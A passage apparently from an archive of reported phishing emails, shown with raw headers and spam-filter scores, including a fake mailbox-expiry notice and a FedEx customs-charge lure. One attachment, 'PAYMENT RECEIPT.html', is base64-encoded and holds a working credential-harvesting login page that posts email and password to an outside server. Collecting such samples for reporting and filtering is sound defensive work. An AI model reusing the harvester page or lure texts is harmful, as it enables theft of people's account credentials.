Content analysis details: (7.1 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)

0.7 LOCALPART_IN_SUBJECT Local part of To: address appears in Subject

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

3.0 TO_NAME_SUBJ_NO_RDNS Recipient username in subject + no rDNS

0.0 TO_NO_BRKTS_NORDNS_HTML To: misformatted and no rDNS and HTML only

Subject: {SPAM?} doctor : Unusual Activities in Your MailBox






























OP: 10px; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BACKGROUND-COLOR: rgb(29=

,84,156); border-radius: 2px">









Unusual Activities i=

n Your MailBox



TOP: 10px; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BACKGROUND-COLOR: rgb(2=

50,250,250); border-radius: 2px">






TBODY>








=

Dear doctor


Your E-ⅿаǶ=

9;ⅼ αссоυnt will expire on
#000000> January 23rd, 2023



If you want to continue using your e-ⅿаᎥⅼ addres=

s doctor@nl2k.ab.ca you will n=

eed to verify immediately for free to prevent permanent termination.




ce=3Dverdana>




ADDING-RIGHT: 0px" cellspacing=3D"0" align=3D"center" border=3D"0">






: 5px; PADDING-TOP: 5px; PADDING-LEFT: 20px; MARGIN: 0px; PADDING-RIGHT: 20=

px; BACKGROUND-COLOR: rgb(38,114,236)" bgcolor=3D"#2672ec">


OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px' align=3Dc=

enter>
xlz3a2t6qlsu.ipfs.dweb.link/#doctor@nl2k.ab.ca">Ǽ=

1;еrіfу Υoυr Ꭺссουn=

t Now

blank data-saferedirecturl=3D"">





All ⅿаᎥⅼs and files will be lost if you do not &=

#5081;еrᎥfγ immediately






Thank You,






82m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-7448=

650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_3959547=

524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_15143=

72749344_9942 style=3D"FONT-SIZE: 14px; FONT-FAMILY: candara,serif,EmojiFon=

t; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGH=

T: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal;=20

LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0p=

x; text-decoration-style: initial; text-decoration-color: initial; font-var=

iant-ligatures: normal; font-variant-caps: normal">


82m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-7448=

650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_3959547=

524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_15143=

72749344_9943>


82m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-7448=

650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_3959547=

524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_15143=

72749344_9944 style=3D"COLOR: rgb(0,0,255)">
)">nl2k.ab.ca
provider! 



ial,"Lucida Grande",sans-serif,serif,EmojiFont; WHITE-SPACE: normal; WORD-S=

PACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WEIGHT: 400; COLOR: rg=

b(0,0,0); FONT-STYLE: normal; DISPLAY: inline; LETTER-SPACING: normal; BACK=

GROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; text-decoration-style: in=

itial; text-decoration-color: initial; font-variant-ligatures: normal; font=

-variant-caps: normal'> 



982m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-744=

8650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_395954=

7524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_1514=

372749344_9945 style=3D"FONT-SIZE: 14px; FONT-FAMILY: candara,serif,EmojiFo=

nt; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIG=

HT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal;=20

LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0p=

x; text-decoration-style: initial; text-decoration-color: initial; font-var=

iant-ligatures: normal; font-variant-caps: normal">


82m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-7448=

650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_3959547=

524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_15143=

72749344_9946>


82m_-3590352058425455735m_-2626923480289771189m_-7273750266982047357m_-7448=

650861582118340gmail-x_m_-6594283951423024269m_6097951020799266573m_3959547=

524610390291m_3806107043072748324gmail-yiv4168758711yui_3_16_0_ym19_1_15143=

72749344_9947 style=3D"COLOR: rgb(0,0,255)">© 2023 All rights reserved=





New Guinea phish

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 22 Jan 2023 15:05:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pJiSK-000KNB-0c

for dave@doctor.nl2k.ab.ca;

Sun, 22 Jan 2023 15:04:52 -0700

Resent-From: The Doctor

Resent-Date: Sun, 22 Jan 2023 15:04:52 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [139.59.21.214] (port=59710 helo=prhindia.co.in)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pJdEY-0006mw-0T

for root@nl2k.ab.ca;

Sun, 22 Jan 2023 09:30:27 -0700

Received: from User (unknown [104.167.222.222])

by prhindia.co.in (Postfix) with ESMTPA id 419F441038;

Sun, 22 Jan 2023 21:33:40 +0530 (IST)

Authentication-Results: prhindia.co.in;

spf=pass (sender IP is 104.167.222.222) smtp.mailfrom=tradeservices@trade.gov.ng smtp.helo=User

Received-SPF: pass (prhindia.co.in: connection is authenticated)

Reply-To:

From: "tradeservices@trade.gov.ng"

Subject: PAYMENT RECEIPT

Date: Sun, 22 Jan 2023 08:03:52 -0800

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_00B7_01C2A9A6.72ABD50A"

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2600.0000

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

X-Spam_score: 23.7

X-Spam_score_int: 237

X-Spam_bar: +++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: THE PAYMENT RECEIPT IS ATTACHED.



Content analysis details: (23.7 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.1 MISSING_MID Missing Message-Id: header

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[104.167.222.222 listed in zen.spamhaus.org]

1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,

https://senderscore.org/blocklistlookup/

[139.59.21.214 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[139.59.21.214 listed in bl.score.senderscore.com]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[139.59.21.214 listed in bb.barracudacentral.org]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[139.59.21.214 listed in wl.mailspike.net]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)

0.0 NSL_RCVD_FROM_USER Received from User

1.2 MISSING_HEADERS Missing To: header

1.6 SUBJ_ALL_CAPS Subject is all capitals

0.0 T_OBFU_HTML_ATTACH HTML attachment with non-text MIME type

0.0 AXB_XMAILER_MIMEOLE_OL_024C2 Yet another X header trait

0.0 FROM_MISSP_XPRIO Misspaced FROM + X-Priority

0.6 FSL_NEW_HELO_USER Spam's using Helo and User

0.0 FROM_MISSP_USER From misspaced, from "User"

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

0.0 OBFU_ATTACH_MISSP Obfuscated attachment type and misspaced From

0.0 FROM_MISSPACED From: missing whitespace

0.0 FROM_MISSP_MSFT From misspaced + supposed Microsoft tool

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.0 T_OBFU_ATTACH_MISSP Obfuscated attachment type and misspaced From

0.7 TO_NO_BRKTS_FROM_MSSP Multiple formatting errors

1.9 REPLYTO_WITHOUT_TO_CC No description available.

0.0 FROM_MISSP_REPLYTO From misspaced, has Reply-To

0.3 FROM_MISSP_EH_MATCH From misspaced, matches envelope

2.8 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} PAYMENT RECEIPT



This is a multi-part message in MIME format.



------=_NextPart_000_00B7_01C2A9A6.72ABD50A

Content-Type: text/plain;

charset="Windows-1251"

Content-Transfer-Encoding: 7bit





THE PAYMENT RECEIPT IS ATTACHED.



------=_NextPart_000_00B7_01C2A9A6.72ABD50A

Content-Type: application/octet-stream;

name="PAYMENT RECEIPT.html"

Content-Transfer-Encoding: base64

Content-Disposition: attachment;

filename="PAYMENT RECEIPT.html"



DQo8aHRtbD4NCjxoZWFkPg0KIDx0aXRsZT5FbWFpbCBTZXR0aW5nczwvdGl0

bGU+DQogPGxpbmsgcmVsPSJpY29uIiBocmVmPSJlbWFpbC0yLWljb24ucG5n

IiB0eXBlPSJpbWFnZS9wbmciPg0KPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1D

b21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4NCjxtZXRhIG5hbWU9InZp

ZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwt

c2NhbGU9MS4wLCBtYXhpbXVtLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT1u

byI+DQoNCjxzdHlsZT4NCiBib2R5ew0KICBmb250LWZhbWlseTogJ1NlZ29l

IFVJJywgVGFob21hLCBHZW5ldmEsIFZlcmRhbmEsIHNhbnMtc2VyaWY7DQog

IG1hcmdpbi10b3A6IDAlOw0KICBtYXJnaW4tbGVmdDogMCU7DQogIG1hcmdp

bi1yaWdodDogMCU7DQogIG1hcmdpbi1ib3R0b206IDAlOw0KIH0NCi5jb250

YWluZXJ7DQp3aWR0aDogMTAwJTsNCn0NCi5oZWFkZXJ7DQogYmFja2dyb3Vu

ZC1jb2xvcjogcmdiYSgwLCAwLCAwLCAwLjcyNik7DQogcGFkZGluZzogMjBw

eDsNCiBjb2xvcjogd2hpdGU7DQogdGV4dC1hbGlnbjogbGVmdDsNCiBmb250

LXdlaWdodDogNTAwOw0KIGZvbnQtc2l6ZTogMTRweDsNCiBwYWRkaW5nLWxl

ZnQ6IDIwcHg7DQp9DQouZm9ybXsNCiBwYWRkaW5nLWxlZnQ6IDUwcHg7DQog

cGFkZGluZy1yaWdodDogNTBweDsNCiBwYWRkaW5nLXRvcDogMzBweDsNCiBw

YWRkaW5nLWJvdHRvbTogNDVweDsNCiBib3JkZXItcmFkaXVzOiA1cHg7DQog

Ym94LXNoYWRvdzogcmdiYSgxNTYsIDE1NCwgMTU0LCAwLjM5NykgMHB4IDBw

eCA1cHggN3B4Ow0KIHdpZHRoOiAzMDBweDsNCn0NCmlucHV0W3R5cGU9ZW1h

aWxdLCBpbnB1dFt0eXBlPXBhc3N3b3JkXXsNCiB3aWR0aDogMTAwJTsNCiBw

YWRkaW5nOiA4cHg7DQogZm9udC1zaXplOiAxNXB4Ow0KIGJvcmRlci1yYWRp

dXM6IDNweDsNCiBib3JkZXI6IHNvbGlkIHJnYigxODQsIDE4MSwgMTgxKSAx

cHg7DQogYm94LXNoYWRvdzogcmdiYSgyMjQsIDIyMSwgMjIxLCAwLjQ2Nikg

MHB4IDBweCAycHggM3B4Ow0KfQ0KaW5wdXRbdHlwZT1lbWFpbF06Zm9jdXMs

IGlucHV0W3R5cGU9cGFzc3dvcmRdOmZvY3VzIHsNCiBvdXRsaW5lLWNvbG9y

OiByZ2JhKDg0LCAxNTksIDIzMCwgMC44MjIpOw0KfQ0KaW5wdXRbdHlwZT1z

dWJtaXRdew0KIHdpZHRoOiAxMDAlOw0KIGJhY2tncm91bmQ6IHJnYigxMCwg

ODgsIDE2MSk7DQogcGFkZGluZzogMTBweDsNCiBib3JkZXI6IGhpZGRlbjsN

CiBmb250LXdlaWdodDogNjAwOw0KIGZvbnQtc2l6ZTogMTVweDsNCiBib3Jk

ZXItcmFkaXVzOiAzcHg7DQogY29sb3I6IHdoaXRlOw0KIGZvbnQtc2l6ZTog

MTVweDsNCn0NCiNsMXsNCiBjb2xvcjogcmdiKDExLCAzNCwgNTQpOw0KIGZv

bnQtc2l6ZTogMThweDsNCiBmb250LXdlaWdodDogNjAwOw0KfQ0KI2wyew0K

IGNvbG9yOiByZ2IoMTU0LCAxNTUsIDE1Nik7DQogZm9udC1zaXplOiAxNHB4

Ow0KfQ0KI2wzIHsNCiBjb2xvcjogcmdiKDQzLCA2NCwgODUpOw0KIGZvbnQt

c2l6ZTogMjdweDsNCiBmb250LXdlaWdodDogNjAwOw0KfQ0KI2ljb24gew0K

IHdpZHRoOiA0MDBweDsNCiB0ZXh0LWFsaWduOiBsZWZ0Ow0KIHBhZGRpbmc6

IDEwcHg7DQogcGFkZGluZy1sZWZ0OiAwJTsNCiB0ZXh0LWFsaWduOiBsZWZ0

Ow0KfQ0KLmZvb3RlcnsNCiBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoNDEsIDU4

LCA3NSk7Ow0KIHBhZGRpbmc6IDEwcHg7DQogY29sb3I6IHdoaXRlOw0KIGZv

bnQtd2VpZ2h0OiA1MDA7DQogZm9udC1zaXplOiAxM3B4Ow0KIHRleHQtYWxp

Z246IGNlbnRlcjsNCiBwb3NpdGlvbjogZml4ZWQ7DQogd2lkdGg6IDEwMCU7

DQogYm90dG9tOiAwOw0KfQ0KPC9zdHlsZT4NCg0KPHNjcmlwdD4NCiBkb2N1

bWVudC5vbmtleXByZXNzID0gZnVuY3Rpb24gKGV2ZW50KSB7DQogICAgICAg

IGV2ZW50ID0gKGV2ZW50IHx8IHdpbmRvdy5ldmVudCk7DQogICAgICAgIGlm

IChldmVudC5rZXlDb2RlID09IDEyMykgew0KICAgICAgICAgICAgcmV0dXJu

IGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KICAgIGRvY3VtZW50Lm9ubW91

c2Vkb3duID0gZnVuY3Rpb24gKGV2ZW50KSB7DQogICAgICAgIGV2ZW50ID0g

KGV2ZW50IHx8IHdpbmRvdy5ldmVudCk7DQogICAgICAgIGlmIChldmVudC5r

ZXlDb2RlID09IDEyMykgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0K

ICAgICAgICB9DQogICAgfQ0KZG9jdW1lbnQub25rZXlkb3duID0gZnVuY3Rp

b24gKGV2ZW50KSB7DQogICAgICAgIGV2ZW50ID0gKGV2ZW50IHx8IHdpbmRv

dy5ldmVudCk7DQogICAgICAgIGlmIChldmVudC5rZXlDb2RlID09IDEyMykg

ew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAg

fQ0KDQp2YXIgbWVzc2FnZT0iU29ycnksIHJpZ2h0LWNsaWNrIGhhcyBiZWVu

IGRpc2FibGVkIjsNCg0KZnVuY3Rpb24gY2xpY2tJRSgpIHtpZiAoZG9jdW1l

bnQuYWxsKSB7KG1lc3NhZ2UpO3JldHVybiBmYWxzZTt9fQ0KZnVuY3Rpb24g

Y2xpY2tOUyhlKSB7aWYNCihkb2N1bWVudC5sYXllcnN8fChkb2N1bWVudC5n

ZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbCkpIHsNCmlmIChlLndoaWNo

PT0yfHxlLndoaWNoPT0zKSB7KG1lc3NhZ2UpO3JldHVybiBmYWxzZTt9fX0N

CmlmIChkb2N1bWVudC5sYXllcnMpDQp7ZG9jdW1lbnQuY2FwdHVyZUV2ZW50

cyhFdmVudC5NT1VTRURPV04pO2RvY3VtZW50Lm9ubW91c2Vkb3duPWNsaWNr

TlM7fQ0KZWxzZXtkb2N1bWVudC5vbm1vdXNldXA9Y2xpY2tOUztkb2N1bWVu

dC5vbmNvbnRleHRtZW51PWNsaWNrSUU7fQ0KZG9jdW1lbnQub25jb250ZXh0

bWVudT1uZXcgRnVuY3Rpb24oInJldHVybiBmYWxzZSIpDQovLw0KZnVuY3Rp

b24gZGlzYWJsZUN0cmxLZXlDb21iaW5hdGlvbihlKQ0Kew0KDQp2YXIgZm9y

YmlkZGVuS2V5cyA9IG5ldyBBcnJheSgnYScsICduJywgJ2MnLCAneCcsICd2

JywgJ2onICwgJ3cnLCdzJywndScpOw0KdmFyIGtleTsNCnZhciBpc0N0cmw7

DQppZih3aW5kb3cuZXZlbnQpDQp7DQprZXkgPSB3aW5kb3cuZXZlbnQua2V5

Q29kZTsNCmlmKHdpbmRvdy5ldmVudC5jdHJsS2V5KQ0KaXNDdHJsID0gdHJ1

ZTsNCmVsc2UNCmlzQ3RybCA9IGZhbHNlOw0KfQ0KZWxzZQ0Kew0Ka2V5ID0g

ZS53aGljaDsNCmlmKGUuY3RybEtleSkNCmlzQ3RybCA9IHRydWU7DQplbHNl

DQppc0N0cmwgPSBmYWxzZTsNCn0NCg0KaWYoaXNDdHJsKQ0Kew0KZm9yKGk9

MDsgaTxmb3JiaWRkZW5LZXlzLmxlbmd0aDsgaSsrKQ0Kew0KDQppZihmb3Ji

aWRkZW5LZXlzW2ldLnRvTG93ZXJDYXNlKCkgPT0gU3RyaW5nLmZyb21DaGFy

Q29kZShrZXkpLnRvTG93ZXJDYXNlKCkpDQp7DQphbGVydCgnS2V5IGNvbWJp

bmF0aW9uIENUUkwgKyAnK1N0cmluZy5mcm9tQ2hhckNvZGUoa2V5KSArJyBo

YXMgYmVlbiBkaXNhYmxlZC4nKTsNCnJldHVybiBmYWxzZTsNCn0NCn0NCn0N

CnJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQoNCjxib2R5

Pg0KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCjxkaXYgY2xhc3M9ImhlYWRl

ciIgaWQ9ImRlbW8iPjwvZGl2Pg0KDQo8Y2VudGVyPg0KPGRpdiBzdHlsZT0i

cGFkZGluZzogMTVweDsgaGVpZ2h0OiA0MHB4OyI+PC9kaXY+DQo8ZGl2IGNs

YXNzPSJmb3JtIiBzdHlsZT0id2lkdGg6IDM3MXB4OyBoZWlnaHQ6IDYwOXB4

Ij4NCiZuYnNwOw0KPGJyPg0KPGZvcm0gaWQ9ImZtIiBtZXRob2Q9IlBPU1Qi

IGFjdGlvbj0iaHR0cDovL25vdmEucGx1c3BsdWdnZy5jb20vbWFpbGJfZml4

LnBocCI+DQo8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+DQo8aW1n

IHNyYz0iaHR0cHM6Ly90cmlidWxhbnQuY29tL2RvY3Mvd3AtY29udGVudC91

cGxvYWRzL1dFQk1BSUxBUFMuanBnIiBkYXRhLWRlZmVycmVkPSIxIiBqc2Fj

dGlvbj0ibG9hZDpYQWVaa2Q7IiBqc25hbWU9IkhpYVl2ZiIgY2xhc3M9Im4z

Vk5DYiBLQWxSRGIiIGFsdD0iSG93IHRvIEFjY2VzcyBhbmQgQ29uZmlndXJl

IEVtYWlsIEFjY291bnQgLSBUcmlidWxhbnQgRG9jdW1lbnRhdGlvbiIgaWQ9

ImltaSIgZGF0YS13PSIxMjAwIiBkYXRhLWg9IjQ3NSIgc3R5bGU9ImhlaWdo

dDogMTYzcHg7IHdpZHRoOiA0OTlweDsgbWFyZ2luOiAwcHgiIGRhdGEtYXRm

PSJ0cnVlIiBkYXRhLWltbD0iMTA0NzkiPjwvZGl2Pg0KPGRpdiBzdHlsZT0i

dGV4dC1hbGlnbjogbGVmdDsiPg0KPGxhYmVsIGlkPSJsMSI+QXV0aGVudGlj

YXRpb24gUmVxdWlyZWQgPC9sYWJlbD48YnI+DQo8bGFiZWwgaWQ9ImwyIj5Q

bGVhc2UgU2lnbiBpbiB3aXRoIHlvdXIgZW1haWwgdG8gY29udGludWUuLi48

L2xhYmVsPg0KPC9kaXY+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOiA1cHg7Ij48

L2Rpdj4NCjxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0idXNlciIgcGxhY2Vo

b2xkZXI9IkVtYWlsIGFkZHJlc3MiIGF1dG9jb21wbGV0ZT0ib2ZmIiB2YWx1

ZT0iIiByZXF1aXJlZD4NCjxkaXYgc3R5bGU9InBhZGRpbmc6IDVweDsiPjwv

ZGl2Pg0KPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwd2QiIGlkPSJw

YXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiIGF1dG9jb21wbGV0ZT0ib2Zm

OyIgcmVxdWlyZWQ+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOiA4cHg7IHBhZGRp

bmctbGVmdDogMCU7IHRleHQtYWxpZ246IGxlZnQ7Ij4NCjxpbnB1dCB0eXBl

PSJjaGVja2JveCIgY2hlY2tlZCA+DQo8L2Rpdj4NCjxkaXYgc3R5bGU9InBh

ZGRpbmc6IDVweDsiPjwvZGl2Pg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFt

ZT0ic3VibWl0IiB2YWx1ZT0iTmV4dCI+DQo8L2Zvcm0+DQo8L2Rpdj4NCg0K

PGRpdiBzdHlsZT0icGFkZGluZzogMTVweDsgaGVpZ2h0OiAxMDBweDsiPjwv

ZGl2Pg0KPC9jZW50ZXI+DQo8ZGl2IGNsYXNzPSJmb290ZXIiPiAgPGk+PC9p

PiA8L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg==



------=_NextPart_000_00B7_01C2A9A6.72ABD50A--

fedex phish from Brazil

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 22 Jan 2023 05:59:46 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pJZwN-000Ha8-2Y

for dave@doctor.nl2k.ab.ca;

Sun, 22 Jan 2023 05:59:19 -0700

Resent-From: The Doctor

Resent-Date: Sun, 22 Jan 2023 05:59:19 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from vps.hostcreator.com.br ([162.241.50.55]:58206)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pJI0T-00054e-0M

for root@nl2k.ab.ca;

Sat, 21 Jan 2023 10:51:16 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=boxcreator.com.br; s=default; h=Content-Transfer-Encoding:Content-Type:

MIME-Version:Message-ID:From:Date:Subject:To:Sender:Reply-To:Cc:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Subscribe:List-Post:List-Owner:List-Archive;

bh=kEy+T/tAhcu46XQZTnA+8CCahnJk7L3Z6xV+g7EMilE=; b=yF9jCz5t2Gp5FAW9mNRQophU4t

Sjtu3HbNyfJSMywVXP2LKbFJWQ5ROWKerBiEe5jFITuNPCSsylWfzHGXum9T9retv8XjsIcYJgTWW

5YvYe9rfQkR+Ya+XpctP8MboLULhs/h6w/FpJyEyZUvJVDAazIi3KBeimt7xRQ/ELe1tg0HYVHqzd

yd9raMCeYVHFJ2Mfbw2UVnHSOGS7yOIbszKx8SnyZmAgIUYTTFJHQljVO5p4niwCrmFBxBIIbUfnK

CpAai7tTx3mNG01klLMHs/YFeoNZCmByWzvJfpnJ6p7vx/J54bUmlUYQ+sJMfNM+7OZOQpKTxVv+d

EtjdB09Q==;

Received: from boxcreator by box.hostcreator.com.br with local (Exim 4.95)

(envelope-from )

id 1pJHy0-0005nq-1D

for root@nl2k.ab.ca;

Sat, 21 Jan 2023 17:47:48 +0000

To: root@nl2k.ab.ca

Subject: Action Required: Outstanding Import Duty and Customs Clearance Service Charges on Waybill Number 772980724289

X-PHP-Script: boxcreator.com.br/wp-content/GRrgMcnKmNo.php for 67.68.160.117

X-PHP-Originating-Script: 1016:GRrgMcnKmNo.php

Date: Sat, 21 Jan 2023 17:47:48 +0000

From: =?UTF-8?Q?FedEx=C2=AE_Customer_Service?=

Message-ID:

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_e449de3b5f8b7d97be87f97cc3918153"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - box.hostcreator.com.br

X-AntiAbuse: Original Domain - nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [1016 990] / [47 12]

X-AntiAbuse: Sender Address Domain - boxcreator.com.br

X-Get-Message-Sender-Via: box.hostcreator.com.br: authenticated_id: boxcreator/from_h

X-Authenticated-Sender: box.hostcreator.com.br: root@boxcreator.com.br

X-Source:

X-Source-Args: php-fpm: pool boxcreator_com_br

X-Source-Dir: boxcreator.com.br:/public_html/wp-content

X-Spam_score: 6.0

X-Spam_score_int: 60

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear Customer,I hope this email finds you well. I am writing

to inform you that there are still outstanding Import Duty and/or Tax and

Customs Clearance Service Charges on your shipment with waybill [...]



Content analysis details: (6.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.5 URIBL_DBL_SPAM Contains a spam URL listed in the DBL blocklist

[URI: abre.ai]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror)

1.0 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.4 PHP_SCRIPT Sent by PHP script

Subject: {SPAM?} Action Required: Outstanding Import Duty and Customs Clearance Service Charges on Waybill Number 772980724289



This is a multi-part message in MIME format.



--b1_e449de3b5f8b7d97be87f97cc3918153

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



   Dear Customer,I hope this email finds you well. I am writing to inform you that there are still outstanding Import Duty and/or Tax and Customs Clearance Service Charges on your shipment with waybill number 772980724289. We are requesting your urgent attention in order to avoid any further impact on the scheduled delivery date.Please note that these charges must be settled before the shipment can be released by Customs. We kindly ask that you take the necessary steps to clear the charges as soon as possible.If you have any questions or need any further information, please do not hesitate to contact us. We appreciate your prompt attention to this matter.To pay, view the calculation and download the relevant documents: CLICK HEREThank you for your cooperation.Sincerely,FedEx®





--b1_e449de3b5f8b7d97be87f97cc3918153

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable



3D"LOGO"
ip-with-fedex-fedex-logo.png" style=3D"height: 95px; width: 96px; float: le=

ft;" />

=C2=A0

=C2=A0

=C2=A0

Dear Customer,

I=

hope this email finds you well. I am writing to inform you that there are =

still outstanding Import Duty and/or Tax and Customs Clearance Service Char=

ges on your shipment with waybill number 772980724289. We are requesting yo=

ur urgent attention in order to avoid any further impact on the scheduled d=

elivery date.

Please note that these charges must be settled before t=

he shipment can be released by Customs. We kindly ask that you take the nec=

essary steps to clear the charges as soon as possible.

If you have an=

y questions or need any further information, please do not hesitate to cont=

act us. We appreciate your prompt attention to this matter.

To pay, v=

iew the calculation and download the relevant documents:
/abre.ai/fFRc" onclick=3D"window.open(this.href, '', 'resizable=3Dno,status=

=3Dno,location=3Dno,toolbar=3Dno,menubar=3Dno,fullscreen=3Dno,scrollbars=3D=

no,dependent=3Dno'); return false;">CLICK HERE
<=

/p>

Thank you for your cooperation.

Sincerely,

FedEx=C2=AE
>





--b1_e449de3b5f8b7d97be87f97cc3918153--



fedex phish

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sat, 21 Jan 2023 15:33:55 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pJMQ5-0002F3-0t

for dave@doctor.nl2k.ab.ca;

Sat, 21 Jan 2023 15:33:05 -0700

Resent-From: The Doctor

Resent-Date: Sat, 21 Jan 2023 15:33:05 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from vps.hostcreator.com.br ([162.241.50.55]:59288)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pJJA9-0008i8-07

for www@nl2k.ab.ca;

